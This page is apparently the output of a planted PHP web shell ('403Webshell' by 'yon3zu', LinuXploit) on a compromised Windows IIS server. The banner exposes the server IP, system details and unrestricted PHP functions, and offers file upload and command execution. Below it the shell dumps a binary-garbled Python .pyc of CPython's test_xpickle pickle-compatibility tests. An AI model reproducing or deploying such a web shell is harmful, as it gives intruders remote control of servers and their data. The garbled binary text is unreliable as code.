403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_xpickle.cpython-313.opt-1.pyc
�

��i�(���SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJr SSKJ	r	 SSK
r
Sr\R"S5 \RRS5r0rSS	S
S.rSrS
rSr"SS\	R,5r"SS\5r\(a"SS\5rSrSr\S:Xa\R:"5 gg!\a SrN�f=f)�N)�support)�pickletesterTF�xpickle�win��r)r�)r�)rr	�c�X�Sn[R5Hup#X:a U$UnM U$)z�Finds the highest supported pickle protocol for a given Python version.
Args:
    py_version: a 2-tuple of the major, minor version. Eg. Python 3.7 would
                be (3, 7)
Returns:
    int for the highest supported pickle protocol
�)�
protocols_map�items)�
py_version�proto�p�vs    �&C:\Python313\\Lib\test\test_xpickle.py�highest_proto_for_py_versionr#s9��
�E��#�#�%����>���L���&��L�c��SR[[U55nSSU34SU34/nU[;a�U[(aSOSSHjn[
R"/UQSPS	P[
R[
R[S
9nUR5 URS:Xa	U[U' O [RUS5$![a M�f=f)a�Check whether a Python binary exists for the given py_version and has
support. This respects your PATH.
For Windows, it will first try to use the py launcher specified in PEP 397.
Otherwise (and for all other platforms), it will attempt to check for
python<py_version[0]>.<py_version[1]>.

Eg. given a *py_version* of (3, 7), the function will attempt to try
'py -3.7' (for Windows) first, then 'python3.7', and return
['py', '-3.7'] (on Windows) or ['python3.7'] on other platforms.

Args:
    py_version: a 2-tuple of the major, minor version. Eg. python 3.7 would
                be (3, 7)
Returns:
    List/Tuple containing the Python binary name and its required arguments,
    or None if no valid binary names found.
�.�py�-�pythonr�Nz-c�pass)�stdout�stderr�shell)�join�map�str�py_executable_map�
is_windows�
subprocess�Popen�DEVNULL�communicate�
returncode�FileNotFoundError�get)r�
python_str�targets�target�workers     r�have_python_versionr12s���$���#�c�:�.�/�J���*��&�'�F�:�,�*?�)A�B�G��*�*��:�:�a�1�5�6�F�

�#�)�)�*A�F�*A�D�*A�&�*A�1;�1C�1C�1;�1C�1C�0:�<���"�"�$��$�$��)�4:�%�j�1��7�� � ��T�2�2��%�
��
�s�
A&C
�
C�Cc��Sn[U5U:a?URU[U5-
5nU(d[eX#-
n[U5U:aM?U$)Nr)�len�read�EOFError)�f�n�buf�chunks    r�
read_exactr:WsK��

�C�

�c�(�Q�,����q�3�s�8�|�$����N����	�c�(�Q�,�
�Jrc��\rSrSrSrSr\S5r\S5r\S5r	\S5r
SSjrSrS	r
SrSrSrSrSrSrSrSrSrSrSrSrSrS
rg)�AbstractCompatTests�aNc
���[UR5(dCSR[[UR55n[
R"SUS35eURUR5 [UR5nUR[R"[S[US-555 UR[R"[SU55 g)NrzPython z not available�	protocolsr�HIGHEST_PROTOCOL)r1rr!r"r#�unittest�SkipTest�addClassCleanup�
finish_workerr�enterClassContextr�	swap_attrr�range�pickle)�cls�py_version_str�highest_protocols   r�
setUpClass�AbstractCompatTests.setUpClasses���#�3�>�>�2�2� �X�X�c�#�s�~�~�&>�?�N��#�#�g�n�-=�^�$L�M�M����C�-�-�.�8����G�����g�/�/��k�05�6F��6J�0K�M�	N����g�/�/��8J�0@�B�	Crc�(�[RR[RR[5S5n[
R"/UQUP[
R[
R[
R[S9nX0l	U$)Nzxpickle_worker.py)�stdinrrr )
�os�pathr!�dirname�__file__r&r'�PIPEr%r0)rIrr/r0s    r�start_worker� AbstractCompatTests.start_workertse�������b�g�g�o�o�h�7�9L�M���!�!�"3�F�"3�F�"3�(2���)3���)3���(2�4���
��
rc��URnUcgSUlURR5 URR5 URR5 UR5 UR
5 g�N)r0rO�closerr�	terminate�wait)rIr0s  rrD�!AbstractCompatTests.finish_worker�s_�������>����
��������
�
�����
�
�����������
rc��URnUcURU5nURR[R
"S[
U55U-5 URR5 [R"S[URS55unUS:�a[URU5$US:aF[URU*5n[R"U5n[U[5(aUeUR#5upx[%U5e![R[ 4a N9f=f! UR'5 e=f)atBounce a pickled object through another version of Python.
This will send data to a child process where it will
be unpickled, then repickled and sent back to the parent process.
Args:
    python: list containing the python binary to start and its arguments
    data: bytes object to send to the child process
Returns:
    The pickled data received from the child process.
�!ir	r)r0rUrO�write�struct�packr3�flush�unpackr:rrH�loads�
isinstance�	Exception�UnpicklingErrorr5r)�RuntimeErrorrD)	rIr�datar0�sizer�	exception�_rs	         r�send_to_worker�"AbstractCompatTests.send_to_worker�s(�������>��%�%�f�-�F�	��L�L���v�{�{�4��T��;�d�B�C��L�L��� ��M�M�$�
�6�=�=�!�(D�E�E�D��a�x�!�&�-�-��6�6��a�x�#�F�M�M�D�5�9��(� &���V� 4�I�"�)�Y�7�7�'��8��*�*�,�I�A��v�&�&���.�.��9�����	������s6�BE
�E
�D*�55E
�*E�E
�E�E
�
Ec�:�SU;aURS5 [R"5nUR"XB40UD6nUR	U5 [
R"SU5UR5-n[URnURXv5$)N�buffer_callbackz1Test does not support "buffer_callback" argument.r^)�skipTest�io�BytesIO�pickler�dumpr`ra�getvaluer$rrm)�self�argr�kwargsr6rrirs        r�dumps�AbstractCompatTests.dumps�s|����&��M�M�M�N��J�J�L���L�L��,�V�,��	���s���{�{�4��'�!�*�*�,�6��"�4�?�?�3���"�"�6�0�0rc�t�[R"U5nUR"U40UD6nUR5$rX)rrrs�	unpickler�load)rwr8�kwdsr6�us     rrd�AbstractCompatTests.loads�s-���J�J�s�O���N�N�1�%��%���v�v�x�rc
�R�URS:aURS5 [RH�nSH4nUR	X!5nURX R
U55 M6 [[S55nUR	X!5nURX R
U55 [[S5VVs/sHn[S5HoTPM M snn5nUR	X!5nURX R
U55 M� gs snnf)Nrznot supported in Python < 3.0)rsxyzs,xyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyz�r
)	rrqrr?rz�assert_is_copyrd�bytesrG)rwr�sr�irls      r�
test_bytes�AbstractCompatTests.test_bytes�s����?�?�V�#��M�M�9�:�!�+�+�E�,���J�J�q�(���#�#�A�z�z�!�}�5�-��e�C�j�!�A��
�
�1�$�A�����:�:�a�=�1��%��*�?�*�Q�e�A�h��q�h�q�*�?�@�A��
�
�1�$�A�����:�:�a�=�1�,��@s�D#�)r)�__name__�
__module__�__qualname__�__firstlineno__rr0�classmethodrLrUrDrmrzrdr��test_global_ext1�test_global_ext2�test_global_ext4�test_recursive_nested_names�test_recursive_nested_names2�test_dynamic_class�test_evil_class_mutating_dict�test_pickle_setstate_None�test_buffers_numpy�test_in_band_buffers�test_buffers_error�test_oob_buffers�%test_oob_buffers_writable_to_readonly�__static_attributes__r�rrr<r<as����J�
�F��C��C��	��	��	��	��$��$�L1��2� ������#'��#'� ���$(�!�!%����
 ������,0�)rr<c�D�\rSrSr\R
r\RrSr	g)�PyPicklePythonCompat�r�N)
r�r�r�r�rH�_Picklerrt�
_Unpicklerr}r�r�rrr�r��s���o�o�G��!�!�Irr�c�D�\rSrSr\R
r\RrSr	g)�CPicklePythonCompat�r�N)
r�r�r�r��_pickle�Picklerrt�	Unpicklerr}r�r�rrr�r��s���/�/���%�%�	rr�c��SU0nURRSSU-5n[X1[R4U5$)Nr�Pythonz
Python%d%d)r��replace�typerA�TestCase)r�base�
class_dict�names    r�	make_testr��s?���
�+�J��=�=� � ��<�*�+D�E�D���X�.�.�/��<�<rc
�V^^�UU4Sjn[R"S5nUcX[RRnU"S5 [S[RR5HnU"XV45 M T$U"[[[URS5555 T$)Nc��>�[U[5nTRTRU55 [(a1[U[
5nTRTRU55 ggrX)r�r��addTest�loadTestsFromTestCase�has_c_implementationr�)r�
test_class�loader�testss  ��r�	add_tests�load_tests.<locals>.add_testssV����z�+?�@�
�
�
�
�f�2�2�:�>�?���"�:�/B�C�J��M�M�&�6�6�z�B�C� rr)r
�r
r)r�get_resource_value�sys�version_info�majorrG�minor�tupler"�int�split)r�r��patternr��valuer�r�s``     r�
load_testsr�s����D�
�&�&�y�1�E��}�� � �&�&���&���1�c�.�.�4�4�5�E��u�n�%�6��L�	�%��C����S�!1�2�3�4��Lr�__main__)rrrPrHr`r&r�rA�testrrr�r��ModuleNotFoundError�requires�platform�
startswithr%r$rrr1r:�AbstractPickleTestsr<r�r�r�r�r��mainr�rr�<module>r�s���
�	�
�
��
����!���������
�\�\�
$�
$�U�
+�
����
�
��
�
�"3�J�R1�,�:�:�R1�h"�.�"��&�1�&�
=�
�(�z���M�M�O���M�!� ��!�s�B?�?C
�	C


Youez - 2016 - github.com/yon3zu
LinuXploit